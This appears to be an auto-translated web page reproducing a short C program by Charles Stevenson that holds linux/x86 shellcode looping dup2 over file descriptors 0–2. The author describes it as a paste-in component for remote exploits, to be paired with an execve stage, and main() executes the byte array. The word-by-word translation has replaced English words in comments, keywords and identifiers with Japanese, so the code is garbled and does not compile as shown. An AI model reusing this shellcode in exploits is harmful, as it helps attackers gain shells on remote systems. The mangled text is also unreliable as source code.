このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* dup2_loop-核心.c by Charles Stevenson <核心@bokeoa.com> * * I made this as a chunk you can paste in to make modular remote * 偉業/利用するs. I usually 連合させる this with an execve as the second * 行う/開催する/段階 of a read() jmp *%esp */ char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by 核心 */ "\x31\xc9" // xor %ecx,%ecx "\x56" // 押し進める %esi "\x5b" // pop %ebx // 宙返り飛行: "\x6a\x3f" // 押し進める $0x3f "\x58" // pop %eax "\xcd\x80" // int $0x80 "\x41" // inc %ecx "\x80\xf9\x03" // cmp $0x3,%cl "\x75\xf5" // jne 80483e8 <宙返り飛行> ; int main(無効の) { 無効の (*爆撃する)() = (無効の *)&hellcode; printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by 核心\n", strlen(hellcode)); 爆撃する(); return 0; }